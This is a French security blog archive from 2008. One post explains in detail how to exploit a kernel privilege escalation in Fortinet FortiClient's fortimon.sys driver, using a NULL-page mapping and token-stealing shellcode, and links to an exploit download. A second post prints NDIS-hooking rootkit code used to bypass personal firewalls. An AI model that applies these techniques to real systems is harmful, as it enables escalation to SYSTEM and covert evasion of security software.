Archive for février, 2008

Fortinet FortiClient Local Privilege Escalation

Récemment on m’a demandé de jeter un oeil pour exploiter une vuln dans un driver paru il n’y a pas longtemps. Comme je me faisais un peu chier ces temps-ci (comme tout bon étudiant en fait :]), d’ailleurs je me fais tellement chier que je le lis le blog de nono mais ca c’est un autre problème. Anyway, la vuln a été révélé le 13 Février et patchée depuis, pas grave, il y a toujours du challenge, l’adviso publié par Ruben Santamarta concernait un driver du HIPS Forticlient. Je vous propose donc dans ce post de voir et de comprendre d’ou vient la vuln puis de l’exploiter, woOot wOot!

Ce qui est cool c’est que l’adviso nous donne suffisamment d’info pour savoir ou chercher, extrait :

3. Fortinet FortiClient Local Privilege Escalation.

Fortinet Endpoint Solution For Enterprise, FortiClient is prone to a local privilege escalation due to the improper device filtering carried out by its filter driver, fortimon.sys .

The driver affected filters certain devices, enabling pass-through filtering. However, its own Device’s DeviceExtension is not correclty initialized so any logged user could force the kernel to operate with user-mode controlled memory just by direclty issuing a special request to the driver’s device.

This leads to local arbitrary code execution in the context of the kernel. Even Guest users can elevate privileges to SYSTEM.

On connait le nom du driver vulnérable, fortimon.sys, qu’il est de type file system filter driver et que une des structures appelée DeviceExtension est mal initialisée ce qui peut permettre une exploitation depuis l’user-land. Un file system filter driver est un module qui va surveiller les requètes (IRP) envoyées aux drivers filesytem, aussi bien le NTFS que le CDFS, il peut servir par exemple à controler l’ouverture des fichiers, ce genre de drivers est souvent utilisé par les soft d’anti-virus pour faire leurs contrôles.

Ok c’est partit, on choppe une version vuln du soft, ici par exemple et on commence à l’installer. Après installation on voit que ce soft est une usine a gaz avec des trucs dans tous les sens qui clignotent en vert et jaune et qui fait « ouinz ouinz, h4ck3rZ 4re st34l1nG y0ur m3g4hUrTz !!11″ toutes les 2 secondes. Bref c’est juste bon à tester en VM.

Alors, on commence à disass le drv fortimon.sys puis on lance le HIPS en VM. Sous Winobj on voit un device \device\fortimon, hop regardons de quel driver il provient.

kd> !devobj \device\fortimon
Device object (80f047d8) is for:
 FortiMon*** ERROR: Module load completed but symbols could not be loaded for fortimon.sys
 \FileSystem\FAFileMon DriverObject 80f04948
Current Irp 00000000 RefCount 3 Type 00000022 Flags 00000040
Dacl e129a6c4 DevExt 80f04890 DevObjExt 80f048d8
ExtensionFlags (0000000000)
Device queue is not busy.

kd> !drvobj \FileSystem\FAFileMon
Driver object (80f04948) is for:
 \FileSystem\FAFileMon
Driver Extension List: (id , addr)

Device Object list:
ff8ca768  ffbbed10  ff877aa8  80e85678
ffa59a80  80dc0ed0  80dc7760  80dc79f8
80eb3110  80edab88  80f03ba0  80f047d8

kd> !drvobj \FileSystem\FAFileMon 3
Driver object (80f04948) is for:
 \FileSystem\FAFileMon
Driver Extension List: (id , addr)

Device Object list:
ff8ca768  ffbbed10  ff877aa8  80e85678
ffa59a80  80dc0ed0  80dc7760  80dc79f8
80eb3110  80edab88  80f03ba0  80f047d8

DriverEntry:   fa9f6bdc	fortimon
DriverStartIo: 00000000
DriverUnload:  00000000
AddDevice:     00000000	

Dispatch routines:
[00] IRP_MJ_CREATE                      fa9f5aac	fortimon+0xaac
[01] IRP_MJ_CREATE_NAMED_PIPE           fa9f5764	fortimon+0x764
[02] IRP_MJ_CLOSE                       fa9f642c	fortimon+0x142c
[03] IRP_MJ_READ                        fa9f5764	fortimon+0x764
[04] IRP_MJ_WRITE                       fa9f6654	fortimon+0x1654
[05] IRP_MJ_QUERY_INFORMATION           fa9f5764	fortimon+0x764
[06] IRP_MJ_SET_INFORMATION             fa9f5aac	fortimon+0xaac
[07] IRP_MJ_QUERY_EA                    fa9f5764	fortimon+0x764
[08] IRP_MJ_SET_EA                      fa9f5764	fortimon+0x764
[09] IRP_MJ_FLUSH_BUFFERS               fa9f5764	fortimon+0x764
[0a] IRP_MJ_QUERY_VOLUME_INFORMATION    fa9f5764	fortimon+0x764
[0b] IRP_MJ_SET_VOLUME_INFORMATION      fa9f5764	fortimon+0x764
[0c] IRP_MJ_DIRECTORY_CONTROL           fa9f5764	fortimon+0x764
[0d] IRP_MJ_FILE_SYSTEM_CONTROL         fa9f5782	fortimon+0x782
[0e] IRP_MJ_DEVICE_CONTROL              fa9f5764	fortimon+0x764
[0f] IRP_MJ_INTERNAL_DEVICE_CONTROL     fa9f5764	fortimon+0x764
[10] IRP_MJ_SHUTDOWN                    fa9f5764	fortimon+0x764
[11] IRP_MJ_LOCK_CONTROL                fa9f5764	fortimon+0x764
[12] IRP_MJ_CLEANUP                     fa9f6606	fortimon+0x1606
[13] IRP_MJ_CREATE_MAILSLOT             fa9f5764	fortimon+0x764
[14] IRP_MJ_QUERY_SECURITY              fa9f5764	fortimon+0x764
[15] IRP_MJ_SET_SECURITY                fa9f5764	fortimon+0x764
[16] IRP_MJ_POWER                       fa9f5764	fortimon+0x764
[17] IRP_MJ_SYSTEM_CONTROL              fa9f5764	fortimon+0x764
[18] IRP_MJ_DEVICE_CHANGE               fa9f5764	fortimon+0x764
[19] IRP_MJ_QUERY_QUOTA                 fa9f5764	fortimon+0x764
[1a] IRP_MJ_SET_QUOTA                   fa9f5764	fortimon+0x764
[1b] IRP_MJ_PNP                         fa9f5764	fortimon+0x764

Fast I/O routines:
FastIoCheckIfPossible                   fa9f6d7a	fortimon+0x1d7a
FastIoRead                              fa9f6dbe	fortimon+0x1dbe
FastIoWrite                             fa9f6e02	fortimon+0x1e02
FastIoQueryBasicInfo                    fa9f6e6c	fortimon+0x1e6c
FastIoQueryStandardInfo                 fa9f6ea6	fortimon+0x1ea6
FastIoLock                              fa9f6ee0	fortimon+0x1ee0
FastIoUnlockSingle                      fa9f6f26	fortimon+0x1f26
FastIoUnlockAll                         fa9f6f66	fortimon+0x1f66
FastIoUnlockAllByKey                    fa9f6f9e	fortimon+0x1f9e
FastIoDeviceControl                     fa9f714c	fortimon+0x214c
FastIoDetachDevice                      fa9f74e6	fortimon+0x24e6
FastIoQueryNetworkOpenInfo              fa9f7558	fortimon+0x2558
MdlRead                                 fa9f7592	fortimon+0x2592
MdlReadComplete                         fa9f75d2	fortimon+0x25d2
PrepareMdlWrite                         fa9f7606	fortimon+0x2606
MdlWriteComplete                        fa9f7666	fortimon+0x2666
FastIoReadCompressed                    fa9f76bc	fortimon+0x26bc
FastIoWriteCompressed                   fa9f7706	fortimon+0x2706
MdlReadCompleteCompressed               fa9f776e	fortimon+0x276e
MdlWriteCompleteCompressed              fa9f77a0	fortimon+0x27a0
FastIoQueryOpen                         fa9f77f6	fortimon+0x27f6

Okai, le driver s’appel \FileSystem\FAFileMon, il possède 12 devices sur ma box. Il gère les MajorsFunctions de type :
IRP_MJ_CREATE
IRP_MJ_CLOSE
IRP_MJ_WRITE
IRP_MJ_SET_INFORMATION
IRP_MJ_FILE_SYSTEM_CONTROL
IRP_MJ_CLEANUP
La routine des autres MajorFunctions en 0xfa9f5764, sert juste à dispacher les IRP aux devices en dessous. Remarquez l’ensemble des routines de type Fast I/O qui sert lors d’appels synchrones.

En fait le driver va utiliser l’API IoRegisterFsRegistrationChange pour enregistrer une fonction de callback qui va servir à attacher un device sur sa device stack afin de filtrer ses IRP. C’est pour cela qu’il y a autant de devices, ils sont attachés à tous les devices gérant des systèmes de fichiers.

Maintenant regardons sous IDA l’initialisation du premier device, celui qui permet une communication avec l’user-land et qui doit d’être nommé. Ici il s’appel \\.\FortiMon. Ce genre de device est de type CDO (Control Device Object) contrairement aux autres devices unamed ici qui sont des FiDO (Filter Device Object) le CDO à pour rôle de recevoir des ordres depuis le user-land sous forme d’IOCTL.

; int __stdcall sub_104CE(PDRIVER_OBJECT DriverObject)
sub_104CE proc near

SymbolicLinkName= UNICODE_STRING ptr -14h
DestinationString= UNICODE_STRING ptr -0Ch
DeviceObject= dword ptr -4
DriverObject= dword ptr  8

push    ebp
mov     ebp, esp
sub     esp, 14h
push    esi
mov     esi, ds:RtlInitUnicodeString
push    offset SourceString ; "\\Device\\FortiMon"
lea     eax, [ebp+DestinationString]
push    eax             ; DestinationString
call    esi ; RtlInitUnicodeString
push    offset aDosdevicesFort ; "\\DosDevices\\FortiMon"
lea     eax, [ebp+SymbolicLinkName]
push    eax             ; DestinationString
call    esi ; RtlInitUnicodeString
lea     eax, [ebp+DeviceObject]
push    eax             ; DeviceObject
push    0               ; Exclusive
push    0               ; DeviceCharacteristics
push    22h             ; DeviceType
lea     eax, [ebp+DestinationString]
push    eax             ; DeviceName
push    44h             ; DeviceExtensionSize
push    [ebp+DriverObject] ; DriverObject
call    ds:IoCreateDevice
mov     esi, eax
test    esi, esi
jl      short loc_1054D

lea     eax, [ebp+DestinationString]
push    eax             ; DeviceName
lea     eax, [ebp+SymbolicLinkName]
push    eax             ; SymbolicLinkName
call    ds:IoCreateSymbolicLink
mov     esi, eax
test    esi, esi
jl      short loc_10544

mov     eax, [ebp+DeviceObject]
mov     edx, [eax+28h] ; DeviceExtension
push    edi
push    11h
pop     ecx
xor     eax, eax ;eax=0
mov     edi, edx
rep stosd ; <=> memset(DeviceExtension, 0, 0x11*4)
mov     dword ptr [edx+4], 1
mov     eax, [ebp+DeviceObject]
mov     [edx+8], eax
pop     edi
jmp     short loc_1054D

[...]

Okaj, le device est créé et recoit une structure DeviceExtension. A quoi ca sert ? En gros l’I/O manager fournit au développeur un champ unique pour chaque device lui permettant de stocker de données. Dans le cas d’un FiDO le DeviceExtension sert à contenir un pointeur sur le device attaché afin de pouvoir lui retransmettre les IRP.

C’est de la que vient la vuln, en effet le CDO ne filtrant pas d’IRP mais en recevant uniquement n’a pas besoin d’avoir de DeviceExtension or ici il en reçoit une qui est initialisé à 0.

Il faut savoir que les MajorFunctions ne font pas la différence entre les devices, ce que je veux dire, c’est que si le CDO reçoit une IRP sur la MajorFunction IRP_MJ_CREATE, du fait que le driver à un rôle de filtre l’IRP sera transmise au device en dessous. Et c’est bien là le gros problème, car le pointeur sur le device en dessous est stocké dans la DeviceExtenion or pour le CDO de ce driver celle-ci est nulle !! KABOOM !!!

Pour que vous compreniez mieux voiçi un code qui représente une MajorFunction qui envoie directement l’IRP au device suivant.

//dispatch down an IRP
NTSTATUS DispatchPassDown(IN PDEVICE_OBJECT pDeviceObject, IN PIRP pIrp)
{
    ULONG Status;

    IoSkipCurrentIrpStackLocation(pIrp);

    Status=IoCallDriver(((PDEVICE_EXTENSION)pDeviceObject->DeviceExtension)->AttachedToDeviceObject, pIrp);

    return Status;
}

Avec le fortimon.sys comme la DeviceExtension est nulle, la fonction IoCallDriver va tenter d’appeler la fonction d’un driver qui n’existe pas. Reste à exploiter cela …

On a IoCallDriver qui est de prototype :
NTSTATUS
IoCallDriver(
IN PDEVICE_OBJECT DeviceObject,
IN OUT PIRP Irp
);

On sait que le param DeviceObject sera NULL. L’idée consiste donc à allouer une page mémoire commençant à l’adresse 0×00000000. Il suffit ensuite de mettre dans cette zone mémoire les bonnes valeurs aux bons endroits pour réussir notre exploitation. Pour ce faire, on va disass IoCallDriver

kd> u IoCallDriver
nt!IoCallDriver:
8052dce4 8bff            mov     edi,edi
8052dce6 55              push    ebp
8052dce7 8bec            mov     ebp,esp
8052dce9 8b550c          mov     edx,dword ptr [ebp+0Ch]
8052dcec 8b4d08          mov     ecx,dword ptr [ebp+8]
8052dcef ff15002b5580    call    dword ptr [nt!pIofCallDriver (80552b00)]
8052dcf5 5d              pop     ebp
8052dcf6 c20800          ret     8

kd> uf nt!IopfCallDriver
nt!IopfCallDriver:
804e37d0 fe4a23          dec     byte ptr [edx+23h] ; edx=IRP, IRP->CurrentLocation--
804e37d3 8a4223          mov     al,byte ptr [edx+23h]
804e37d6 84c0            test    al,al ; si CurrentLocation <=0
804e37d8 0f8ec6850300    jle     nt!IopfCallDriver+0xa (8051bda4)

nt!IopfCallDriver+0x18:
804e37de 8b4260          mov     eax,dword ptr [edx+60h] ; current I/O stack location
804e37e1 83e824          sub     eax,24h
804e37e4 56              push    esi
804e37e5 894260          mov     dword ptr [edx+60h],eax ; next stack location
804e37e8 894814          mov     dword ptr [eax+14h],ecx ; ecx=DeviceObject
804e37eb 0fb600          movzx   eax,byte ptr [eax] ;eax=MajorFunction indice
804e37ee 8b7108          mov     esi,dword ptr [ecx+8] ;esi=DriverObject
804e37f1 52              push    edx
804e37f2 51              push    ecx
804e37f3 ff548638        call    dword ptr [esi+eax*4+38h] ;DriverObject.MajorFunction[eax]
804e37f7 5e              pop     esi
804e37f8 c3              ret

kd> dt nt!_DEVICE_OBJECT
   +0x000 Type             : Int2B
   +0x002 Size             : Uint2B
   +0x004 ReferenceCount   : Int4B
   +0x008 DriverObject     : Ptr32 _DRIVER_OBJECT
   +0x00c NextDevice       : Ptr32 _DEVICE_OBJECT
   +0x010 AttachedDevice   : Ptr32 _DEVICE_OBJECT
   +0x014 CurrentIrp       : Ptr32 _IRP
   +0x018 Timer            : Ptr32 _IO_TIMER
   +0x01c Flags            : Uint4B
   +0x020 Characteristics  : Uint4B
   +0x024 Vpb              : Ptr32 _VPB
   +0x028 DeviceExtension  : Ptr32 Void
   +0x02c DeviceType       : Uint4B
   +0x030 StackSize        : Char
   +0x034 Queue            : __unnamed
   +0x05c AlignmentRequirement : Uint4B
   +0x060 DeviceQueue      : _KDEVICE_QUEUE
   +0x074 Dpc              : _KDPC
   +0x094 ActiveThreadCount : Uint4B
   +0x098 SecurityDescriptor : Ptr32 Void
   +0x09c DeviceLock       : _KEVENT
   +0x0ac SectorSize       : Uint2B
   +0x0ae Spare1           : Uint2B
   +0x0b0 DeviceObjectExtension : Ptr32 _DEVOBJ_EXTENSION
   +0x0b4 Reserved         : Ptr32 Void

kd> dt nt!_DRIVER_OBJECT
   +0x000 Type             : Int2B
   +0x002 Size             : Int2B
   +0x004 DeviceObject     : Ptr32 _DEVICE_OBJECT
   +0x008 Flags            : Uint4B
   +0x00c DriverStart      : Ptr32 Void
   +0x010 DriverSize       : Uint4B
   +0x014 DriverSection    : Ptr32 Void
   +0x018 DriverExtension  : Ptr32 _DRIVER_EXTENSION
   +0x01c DriverName       : _UNICODE_STRING
   +0x024 HardwareDatabase : Ptr32 _UNICODE_STRING
   +0x028 FastIoDispatch   : Ptr32 _FAST_IO_DISPATCH
   +0x02c DriverInit       : Ptr32     long
   +0x030 DriverStartIo    : Ptr32     void
   +0x034 DriverUnload     : Ptr32     void
   +0x038 MajorFunction    : [28] Ptr32     long

Attention IopfCallDriver est convention d’appel FastCall, les params sont passés par ecx et edx. IopfCallDriver va donc prendre le DeviceObject et retrouvé à quel DriverObject il appartient, si la page qu’on alloue est mise à 0, on est sur que le DriverObject sera null lui aussi. Ensuite la fonction va appeler la MajorFunction en fonction du type d’IRP avec l’instruction : call dword ptr [esi+eax*4+38h] (esi=DriverOBject, eax=MajorFunction).

Comme nous pouvons choisir le type d’IRP que nous envoyons sur le CDO, on peut connaître la valeur de eax et donc choisir ce que va contenir [esi+eax*4+38h] et qu’est ce qu’on y met ? L’adresse d’un joli shellcode ring0 wOot !

Dans mon exploit j’ai choisit d’utiliser la MajorFunction IRP_MJ_FILE_SYSTEM_CONTROL envoyé par l’API native ZwFsControlFile. En fait j’ai eu un peu de mal à éviter les Fast I/O car si la requête passe dans ce genre de routine l’exploitation ne marchera pas, va falloir que je lise de la doc dessus.

Donc sachant que IRP_MJ_FILE_SYSTEM_CONTROL=0xD, il suffit de mettre à l’adresse 0+0xd*4+0×38 un pointeur sur notre shellcode qui modif le token du process courant par celui du process system et c’est bon, on a notre local privilege escalation :]

En tout ca le sploit que je vous fournis fonctionne très bien et vous le trouverez ici :
http://ivanlef0u.fr/repo/fortimon.rar

Voilà, voilà, j’espère que vous avez compris dans l’ensemble le principe de l’exploitation, n’hesitez pas à poser des questions.

6 comments février 28th, 2008

The truth about personal firewalls

Je viens de tomber sur un article monstrueux sur rootkit.com. The truth aboutpersonal firewalls plonge dans les méandres des firewalls Windows. Evidemment ca me rappel beaucoup les recherches que j’ai faite pour le rootkit Bl4me, le code se travaillant au niveau des handlers des NDIS_OPEN_BLOCK en les hookant avec le code suivant :

#pragma pack(push)
#pragma pack(1)
typedef struct _HOOK_CONTEXT_STRUCT
{
    //runtime code
    UCHAR    code1_0x58; //0x58 | pop  eax      | pop caller IP from stack to eax
    UCHAR    code2_0x68; //0x68 | push IMM      | push our hook context address
    struct _HOOK_CONTEXT_STRUCT *m_pHookContext;//point this
    UCHAR    code3_0x50; //0x50 | push eax        | push caller IP from eax to stack
    UCHAR    code4_0xE9; //0xE9 | jmp HookProc  | jump our hook proc
    ULONG   m_pHookProcOffset;

    //our context data

    PVOID    m_pOriginalProc;
    PVOID    m_pHookProc;
    PVOID    m_pBindAdaptHandle;
    PVOID    m_pProtocolContent;
    PVOID   *m_ppOriginPtr;

    struct _HOOK_CONTEXT_STRUCT *m_pHookNext;

}HOOK_CONTEXT_STRUCT;
#pragma pack(pop)

HOOK_CONTEXT_STRUCT    *HookNdisFunc(PVOID pHookProc,PVOID *ppOrigProc,PVOID pBindAdAptHAndle,PVOID pProtocolContent)
{
    HOOK_CONTEXT_STRUCT    *pHookContext;
    PVOID    OrgFunc;

    pHookContext = IsHookedNdisFunc(ppOrigProc[0]);
    if(pHookContext){
        OrgFunc = pHookContext->m_pOriginalProc;
    }
    else{
        OrgFunc = ppOrigProc[0];
    }
    if (OrgFunc == NULL){
        return NULL;
    }

    pHookContext = IsHookedNdisFuncEx(ppOrigProc);
    if(pHookContext){
        return pHookContext;
    }

    NdisAllocateMemoryWithTag(&pHookContext,sizeof(HOOK_CONTEXT_STRUCT),'ytaU');
    if(pHookContext == NULL){
        return NULL;
    }
    memset(pHookContext,0,sizeof(HOOK_CONTEXT_STRUCT));

    pHookContext->code1_0x58 = 0x58;
    pHookContext->code2_0x68 = 0x68;
    pHookContext->code3_0x50 = 0x50;
    pHookContext->code4_0xE9 = 0xE9;

    pHookContext->m_pHookContext        = pHookContext;
    pHookContext->m_pHookProcOffset        = ((ULONG)pHookProc) - (((ULONG)&pHookContext->m_pHookProcOffset) + sizeof(ULONG));
    pHookContext->m_pBindAdaptHandle    = pBindAdAptHAndle;
    pHookContext->m_pProtocolContent    = pProtocolContent;
    pHookContext->m_pOriginalProc        = OrgFunc;
    pHookContext->m_ppOriginPtr            = ppOrigProc;
    pHookContext->m_pHookProc            = pHookProc;
    pHookContext->m_pHookNext            = m_pOurAllOfHookContext;
    m_pOurAllOfHookContext                = pHookContext;

    ppOrigProc[0] = pHookContext;

    return pHookContext;
}

He wi, le code fonctionne comme le firewall Zone Alarm en allouant dans la non-paged pool un petit bout de code jumpant sur notre handler, c’est tout mimi et ca marche, en mémoire en se retrouve donc avec :

kd> !protocols
 Protocol 80d5bd40: NDISUIO
    Open 80e2fef0 - Miniport: 80df3140 Carte Fast Ethernet PCI à base de Intel 21140 (Générique)

 Protocol 80dcc5f0: TCPIP_WANARP
    Open 80e002f0 - Miniport: 80de8140 Miniport réseau étendu (IP)

 Protocol 80d4c878: TCPIP
    Open 80dc8c50 - Miniport: 80df3140 Carte Fast Ethernet PCI à base de Intel 21140 (Générique)

 Protocol 80dbb3a8: NDPROXY
    Open 80e0f610 - Miniport: 80dad140 Parallèle direct
    Open 80e20e78 - Miniport: 80dad140 Parallèle direct
    Open 80dba668 - Miniport: 80df0298 Miniport réseau étendu (L2TP)
    Open 80dab3a0 - Miniport: 80df0298 Miniport réseau étendu (L2TP)

 Protocol 80db0008: RASPPPOE

 Protocol 80de9a38: NDISWAN
    Open 80e86660 - Miniport: 80dad140 Parallèle direct
    Open 80e19e60 - Miniport: 80db17f8 Miniport réseau étendu (PPTP)
    Open ffb711a8 - Miniport: 80db0a50 Miniport WAN (PPPOE)
    Open 80df8210 - Miniport: 80df0298 Miniport réseau étendu (L2TP)

kd> dt ndis!_NDIS_OPEN_BLOCK 80dc8c50
   +0x000 MacHandle        : 0x80de5680
   +0x004 BindingHandle    : 0x80dc8c50
   +0x008 MiniportHandle   : 0x80df3140 _NDIS_MINIPORT_BLOCK
   +0x00c ProtocolHandle   : 0x80d4c878 _NDIS_PROTOCOL_BLOCK
   +0x010 ProtocolBindingContext : 0x80db9008
   +0x014 MiniportNextOpen : (null)
   +0x018 ProtocolNextOpen : (null)
   +0x01c MiniportAdapterContext : 0xffb6d000
   +0x020 Reserved1        : 0 ''
   +0x021 Reserved2        : 0 ''
   +0x022 Reserved3        : 0 ''
   +0x023 Reserved4        : 0 ''
   +0x024 BindDeviceName   : 0x80df3150 _UNICODE_STRING "\DEVICE\{63543126-4B56-472E-AF47-97C5FEC7D5B4}"
   +0x028 Reserved5        : 0
   +0x02c RootDeviceName   : 0x80dd556c _UNICODE_STRING "\DEVICE\{63543126-4B56-472E-AF47-97C5FEC7D5B4}"
   +0x030 SendHandler      : 0xfa5ceb31     int  NDIS!ndisMFakeSend+0
   +0x030 WanSendHandler   : 0xfa5ceb31     int  NDIS!ndisMFakeSend+0
   +0x034 TransferDataHandler : 0xfa5ccfd5     int  NDIS!ndisMTransferData+0
   +0x038 SendCompleteHandler : 0x80d5cc00     void  +ffffffff80d5cc00
   +0x03c TransferDataCompleteHandler : 0xfa3ae105     void  tcpip!ARPTDComplete+0
   +0x040 ReceiveHandler   : 0xffb88768     int  +ffffffffffb88768
   +0x044 ReceiveCompleteHandler : 0xfa3807ed     void  tcpip!ARPRcvComplete+0
   +0x048 WanReceiveHandler : (null)
   +0x04c RequestCompleteHandler : 0xfa3873fb     void  tcpip!ARPRequestComplete+0
   +0x050 ReceivePacketHandler : 0x80ddfc10     int  +ffffffff80ddfc10
   +0x054 SendPacketsHandler : 0xfa5cea8f     void  NDIS!ndisMFakeSendPackets+0
   +0x058 ResetHandler     : 0xfa5ceb0c     int  NDIS!ndisMFakeReset+0
   +0x05c RequestHandler   : 0xfa5cb988     int  NDIS!ndisMRequest+0
   +0x060 ResetCompleteHandler : 0xfa3ae127     void  tcpip!ARPResetComplete+0
   +0x064 StatusHandler    : 0xfa39a1e1     void  tcpip!ARPStatus+0
   +0x068 StatusCompleteHandler : 0xfa39a0d9     void  tcpip!ARPStatusComplete+0
   +0x06c Flags            : 0x100
   +0x070 References       : 1
   +0x074 SpinLock         : 0
   +0x078 FilterHandle     : 0x80dcef20
   +0x07c ProtocolOptions  : 0
   +0x080 CurrentLookahead : 0x80
   +0x082 ConnectDampTicks : 0
   +0x084 DisconnectDampTicks : 0
   +0x088 WSendHandler     : 0xfa84a58c     int  dc21x4!DC21X4Send+0
   +0x08c WTransferDataHandler : (null)
   +0x090 WSendPacketsHandler : (null)
   +0x094 CancelSendPacketsHandler : (null)
   +0x098 WakeUpEnable     : 0
   +0x09c CloseCompleteEvent : (null)
   +0x0a0 QC               : _QUEUED_CLOSE
   +0x0b4 AfReferences     : 0
   +0x0b8 NextGlobalOpen   : 0x80e002f0 _NDIS_OPEN_BLOCK
   +0x0bc NextAf           : (null)
   +0x0c0 MiniportCoCreateVcHandler : 0x0a0e0019     int  +a0e0019
   +0x0c4 MiniportCoRequestHandler : 0x6d66444e     int  +6d66444e
   +0x0c8 CoCreateVcHandler : (null)
   +0x0cc CoDeleteVcHandler : (null)
   +0x0d0 CmActivateVcCompleteHandler : (null)
   +0x0d4 CmDeactivateVcCompleteHandler : (null)
   +0x0d8 CoRequestCompleteHandler : (null)
   +0x0dc ActiveVcHead     : _LIST_ENTRY [ 0x0 - 0x0 ]
   +0x0e4 InactiveVcHead   : _LIST_ENTRY [ 0x0 - 0x0 ]
   +0x0ec PendingAfNotifications : 0
   +0x0f0 AfNotifyCompleteEvent : 0xfa5cd122 _KEVENT

kd> u ffffffff80d5cc00 //SendCompleteHandler
80d5cc00 58              pop     eax
80d5cc01 6800ccd580      push    80D5CC00h
80d5cc06 50              push    eax
80d5cc07 e922a9f175      jmp     kernel_tcp!HookProtocolSendComplete (f6c7752e)
80d5cc0c a837            test    al,37h
80d5cc0e 38fa            cmp     dl,bh
80d5cc10 2e75c7          hnt jne 80d5cbda
80d5cc13 f6508c          not     byte ptr [eax-74h]

Si on dump la struct HOOK_CONTEXT_STRUCT on peut retrouver aussi le handler original à l’offset 0xC

kd> dd 80d5cc00 l 24
80d5cc00  cc006858 e95080d5 75f1a922 fa3837a8
80d5cc10  f6c7752e 80dc8c50 80d4c878 80dc8c88
80d5cc20  80ddfc10 80d5cc20 0a0a0006 ee657645
80d5cc30  e1034838 00380038 e1231900 00000001
80d5cc40  80dcf388 80d8d0d0 000002d4 84000000
80d5cc50  00000003 00000001 80ef9450 24000020
80d5cc60  805609e0 e127473f 8004bc00 00000000
80d5cc70  80e40a20 80e40a20 0a08000a ee657645
80d5cc80  80d5ccc0 ffb9e308 000002d4 00000000
kd> ln fa3837a8
(fa3837a8)   tcpip!ARPSendComplete   |  (fa383829)   tcpip!GetARPBufferAtDpcLevel
Exact matches:
    tcpip!ARPSendComplete = 

Bon il est clair que le code de Bl4me est expérimental mais il suffit à bypass pas mal de firewall actuel même si il est dit dans l’article que certains fw comme Outpost restorent leurs handlers, il est toujours possible de contourner cette sécurité. Pour les paquets sortant on utilise les fonctions NdisMSendPackets et ndisMSendX en les envoyant direct sur le Miniport :

VOID (* pndisMSendPacketsX)(
    IN NDIS_HANDLE  NdisBindingHandle,
    IN PPNDIS_PACKET  PacketArray,
    IN UINT  NumberOfPackets
    );

Pour les paquets sortant, on tape direct sur le NDIS_MINIPORT_BLOCK plus précisément sur les blocks servant à la fonction NDIS!ethFilterDprIndicateReceivePacket pour dispatcher les packets sur les NDIS_OPEN_BLOCK attachés au miniport.
Exemple :

kd> !miniports
NDIS Driver verifier level: 0
NDIS Failed allocations   : 0
Miniport Driver Block: 80dac8b8, Version 0.0
  Miniport: 80dad140, NetLuidIndex: 0, IfIndex: 0, Parallèle direct
Miniport Driver Block: 80db1db8, Version 0.0
  Miniport: 80db17f8, NetLuidIndex: 0, IfIndex: 0, Miniport réseau étendu (PPTP)
Miniport Driver Block: 80db2080, Version 0.0
  Miniport: 80db0a50, NetLuidIndex: 0, IfIndex: 0, Miniport WAN (PPPOE)
Miniport Driver Block: 80de9950, Version 0.0
  Miniport: 80de8140, NetLuidIndex: 0, IfIndex: 0, Miniport réseau étendu (IP)
Miniport Driver Block: 80df07d8, Version 0.0
  Miniport: 80df0298, NetLuidIndex: 0, IfIndex: 0, Miniport réseau étendu (L2TP)
Miniport Driver Block: 80df4880, Version 5.5
  Miniport: 80df3140, NetLuidIndex: 0, IfIndex: 0, Carte Fast Ethernet PCI à base de Intel 21140 (Générique)
kd> dt nt!_NDIS_MINIPORT_BLOCK 80df4880

kd> dt ndis!_NDIS_MINIPORT_BLOCK 80df3140
   +0x000 Signature        : 0x504d444e
   +0x004 NextMiniport     : (null)
   +0x008 DriverHandle     : 0x80df4880 _NDIS_M_DRIVER_BLOCK
   +0x00c MiniportAdapterContext : 0xffb6d000
   +0x010 MiniportName     : _UNICODE_STRING "\DEVICE\{63543126-4B56-472E-AF47-97C5FEC7D5B4}"
   +0x018 BindPaths        : 0x80dd5568 _NDIS_BIND_PATHS
   +0x01c OpenQueue        : 0x80e2fef0
   +0x020 ShortRef         : _REFERENCE
   +0x028 DeviceContext    : (null)
   +0x02c Padding1         : 0 ''
   +0x02d LockAcquired     : 0 ''
   +0x02e PmodeOpens       : 0 ''
   +0x02f AssignedProcessor : 0 ''
   +0x030 Lock             : 0
   +0x034 MediaRequest     : (null)
   +0x038 Interrupt        : 0xffb6d008 _NDIS_MINIPORT_INTERRUPT
   +0x03c Flags            : 0xc412008
   +0x040 PnPFlags         : 0x10210000
   +0x044 PacketList       : _LIST_ENTRY [ 0x80df3184 - 0x80df3184 ]
   +0x04c FirstPendingPacket : (null)
   +0x050 ReturnPacketsQueue : (null)
   +0x054 RequestBuffer    : 0xb
   +0x058 SetMCastBuffer   : (null)
   +0x05c PrimaryMiniport  : 0x80df3140 _NDIS_MINIPORT_BLOCK
   +0x060 WrapperContext   : 0x80df30f8
   +0x064 BusDataContext   : 0x80eaef08
   +0x068 PnPCapabilities  : 0x30
   +0x06c Resources        : (null)
   +0x070 WakeUpDpcTimer   : _NDIS_TIMER
   +0x0b8 BaseName         : _UNICODE_STRING "{63543126-4B56-472E-AF47-97C5FEC7D5B4}"
   +0x0c0 SymbolicLinkName : _UNICODE_STRING "\??\PCI#VEN_1011&DEV_0009&SUBSYS_21140A00&REV_20#3&267a616a&0&50#{ad498944-762f-11d0-8dcb-00c04fc3358c}\{63543126-4B56-472E-AF47-97C5FEC7D5B4}"
   +0x0c8 CheckForHangSeconds : 2
   +0x0cc CFHangTicks      : 1
   +0x0ce CFHangCurrentTick : 1
   +0x0d0 ResetStatus      : 0
   +0x0d4 ResetOpen        : (null)
   +0x0d8 EthDB            : 0x80e438e8 _X_FILTER
   +0x0d8 NullDB           : 0x80e438e8 _X_FILTER
   +0x0dc TrDB             : (null)
   +0x0e0 FddiDB           : (null)
   +0x0e4 ArcDB            : (null)
   +0x0e8 PacketIndicateHandler : 0xfa5baa0b     void  NDIS!ndisMDummyIndicatePacket+0
   +0x0ec SendCompleteHandler : 0xfa5ccbc3     void  NDIS!NdisMSendComplete+0
   +0x0f0 SendResourcesHandler : 0xfa5d2a24     void  NDIS!NdisMSendResourcesAvailable+0
   +0x0f4 ResetCompleteHandler : 0xfa5d408f     void  NDIS!NdisMResetComplete+0
   +0x0f8 MediaType        : 0 ( NdisMedium802_3 )
   +0x0fc BusNumber        : 0
   +0x100 BusType          : 5 ( NdisInterfacePci )
   +0x104 AdapterType      : 5 ( NdisInterfacePci )
   +0x108 DeviceObject     : 0x80df3040 _DEVICE_OBJECT
   +0x10c PhysicalDeviceObject : 0x80eaee50 _DEVICE_OBJECT
   +0x110 NextDeviceObject : 0x80eaee50 _DEVICE_OBJECT
